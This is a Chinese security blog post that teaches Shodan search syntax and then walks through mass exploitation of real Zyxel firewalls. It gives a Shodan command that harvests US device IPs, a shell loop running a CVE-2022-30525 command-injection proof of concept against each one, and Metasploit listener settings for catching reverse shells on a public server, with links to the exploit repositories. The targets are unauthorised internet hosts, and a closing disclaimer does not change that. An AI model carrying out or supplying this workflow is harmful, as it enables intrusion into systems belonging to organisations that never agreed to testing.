点击上方“蓝字”,关注更多精彩
0x00 前言
渗透测试学习过程中,漏洞复现是一个必不可少的一个环节。但是复现漏洞存在以下几个痛点:
1、漏洞复现2分钟,环境搭建2小时。
2、商业软件、未开源组件难以甚至无法下载搭建安装。
3、刚爆发的0day,无法第一时间进行复现。
vulhub-master
(https://github.com/vulhub/vulhub)解决了第1个痛点的大部分;而2和3则可以通过Shodan
来解决。
0x01 shodan简述和利用
Shodan是互联网上最可怕的搜索引擎。
shodan大家肯定都有所了解,这里就不多介绍了。主要说一下shodan的工作原理、常用语法和常用功能。
shodan 工作原理
明白一下工作原理,你会更加清晰地知道自己想要什么资产或者信息。
Shodan每隔一段时间就会对全球大约6亿主机进行端口扫描,通过对返回Banner信息的处理,识别特定主机,并进行分类储存。为了避免因政治、技术等原因导致的扫描信息误差(比如某墙),Shodan的扫描主机遍布在全球的8个国家和地区。
我们提交一次搜索请求,背后逻辑为下图,其实重点就放在了前面的ip与端口探测。
这里顺便提一下,与之类似的fofa工作原理也大同小异,需要明白的是哪些fofa不会收集,哪些会收集:
例子 | 是否会被收录 | 解释 |
---|---|---|
111.111.111.111:80 | 是 | IP、端口两要素 |
111.111.111.111:80/a/a.html | 否 | 仅会收录根目录返回结果,二级目录不会收录,fofa不会进行目录扫描 |
http://baidu.com:80 | 可能 | 某些特定情况下,可能会扫到baidu.com对应的IP,并且该IP未作针对性防护 |
http://baidu.com:80/a/a.html | 可能(概率很小) | 唯一一种可能的情况就是/test/目录单独解析到某个IP,或服务由某个IP节点提供 |
shodan常用语法
shodan搜索语法可以参考:https://www.shodan.io/search/filters,这里列举出常用的,基本覆盖了漏洞复现的常见场景。
-
Keyword 直接搜索关键词(apache、ip、webcam、netcam) -
Port 端口(Port:xxxx) -
http.title 网站标题(http.title:”xxxxx”) -
http.html 网站内容(http.html:”xxxxx”) -
http.status 网站状态码(http.status:xxx) -
http.favicon.hash 网站ico哈希值(http.favicon.hash:xxxxxxxx) -
vuln 漏洞CVE(vuln:CVE-20xx-xxxx)
还有几个常用功能:查看报告,下载结果、历史趋势和地图分布展示,截图就不展示了。
shodan API
用过fofa
的小伙伴应该对fofa viewer
不陌生,就是根据fofa
的API
开发的一个GUI
工具。shodan
肯定也是有的。
kali
中就自带shodan
工具,只需要将API
加载进来即可使用shodan
常用的shodan API
命令:
shodan search 'apache' --fields ip_str,port --limit 10 --separator +
//--fields 指定输出结果,ip_str为仅ip,port仅端口
//--limit 10 仅10个结果,和docker search一个意思
//--seperation + 以+分割
需要注意的是,有时候只输出ip
会有重复的输出,可以在后面加个uniq
命令去重
如果想要在其它Linux系统上安装,参考(需要python环境):https://help.shodan.io/command-line-interface/0-installation
0x02 Shodan自动化getshell案例
对于安全人员来说,可以利用shodan来跟进最新漏洞和实战靶机测试。只不过我们需要用一些漏洞平台来进行相关漏洞信息。
常用漏洞库与信息网站
exploit_db https://www.exploit-db.com/ 十分全
Hacker News https://news.ycombinator.com/ 消息较为灵通
知道创宇 https://www.seebug.org/ 相关漏洞总结地很好
阿里云漏洞库 https://avd.aliyun.com 页面容易爬下来
python爬取漏洞信息
复现漏洞往往具有很强的针对性,不仅仅是漏洞编号,有时是必须带有POC或者EXP的。那么这里以阿里云漏洞库为例子,复现已经武器化的漏洞,这部分漏洞大致有RCE和未授权访问漏洞。顺便提一嘴:阿里云漏洞库不支持按漏洞状态过滤。
根据阿里云的页面,编写出一个脚本用来爬取漏洞信息,超过大概10页就会被检测终止,适当更改sleep
时间或者只改漏洞页数。
import requests
from bs4 import BeautifulSoup
import lxml
import re
import time
with open("CVE.txt","w")as f:
#遍历页数并收集返回包
for i in range(1,20): #漏洞页数,可自定义10-30也可以
r = requests.get('https://avd.aliyun.com/high-risk/list?page={}'.format(i))
soup = BeautifulSoup(r.text,"lxml")
#在每次的返回包中寻找关键标签并遍历
for tr in soup.find("tbody").find_all("tr"):
#定位到tr.td.a标签的href属性
link = "https://avd.aliyun.com" + tr.td.a['href']
title = tr.find_all("td")[1].string
#倒数第二个button
cve = tr.find_all("button")[-2]["title"]
#倒数第一个button
status = tr.find_all("button")[-1]["title"]
print(cve,status,title,link)
#写入文件
f.write("{} {} {} {}n".format(cve,status,title,link))
#虽然with open...as自动帮我们关了文件句柄,但是还是要写一下
time.sleep(1)
随后我们就可以选择其中一个尝试到shodan
去搜索,当然,要根据漏洞的特征去搜索,下面就举个栗子。
CVE-2022-30525 Zyxel 防火墙远程命令注入漏洞批量刷
POC:https://github.com/Henry4E36/CVE-2022-30525
EXP:https://github.com/Chocapikk/CVE-2022-30525-Reverse-Shell
Shodan API 导出ip
将存在该组件的主机ip和端口保存至文件。
shodan search 'http.title:"USG FLEX 100","USG FLEX 100w","USG FLEX 200","USG FLEX 500","USG FLEX 700","USG FLEX 50","USG FLEX 50w","ATP100","ATP200","ATP500","ATP700" country:"US" ' --limit 400 --fields ip_str | uniq > con.txt
因为这个POC
使用dnslog
来验证漏洞存在的,十分地慢,这里就用shell
编程的for
循环批量执行POC
。
注意,这个操作会十分消耗内存和CPU,虚拟机很容易崩,建议至少8GB内存和4核:
for ip in `cat 1.txt` ;do python3 CVE-2022-30525.py -u https://$ip 2>/dev/null 1>>result.txt & done
less result.txt | grep [√]
msf监听session获取反弹shell
部署一台公网VPS
安装好msf
当做C2
平台后,开启msf
监听:
//防止session意外退出:
set ExitOnSession false //可以在接收到seesion后继续监听端口,保持侦听。
set SessionCommunicationTimeout 0 //默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0
set SessionExpirationTimeout 0 //默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭
exploit -j -z //后台持续监听
可能是exp
有问题,单个脚本执行没问题,但是msf
就是上不了线。。。只是为了演示shodan批量刷的方法,这个我就不深究了哈,已经帮我们节省了很多手刷的时间了。
0x03 References
https://zgao.top
https://www.shodan.io/search/filters
https://mp.weixin.qq.com/s/HJc7yDmCSvSCxxCP7LUuFg
https://github.com/Henry4E36/CVE-2022-30525
https://github.com/Chocapikk/CVE-2022-30525-Reverse-Shell
往期推荐
CVE-2021-4034 Linux Polkit本地提权漏洞
CVE-2021-31760 Webmin CSRF致使RCE
CVE-2022-22965 Spring core RCE漏洞
CVE-2020-1472 ZeroLogon漏洞复现利用(Netlogon域提权)
郑重声明:该公众号大部分文章来自作者日常工作与学习笔记,也有少数文章是经过原作者授权转载而来,未经授权,严禁转载。如需要,请公众号私信联系作者。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与原作者以及本公众号无关。
原文始发于微信公众号(HACK技术沉淀营):实战经验 | Shodan批量刷漏洞与自动化Getshell技巧
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论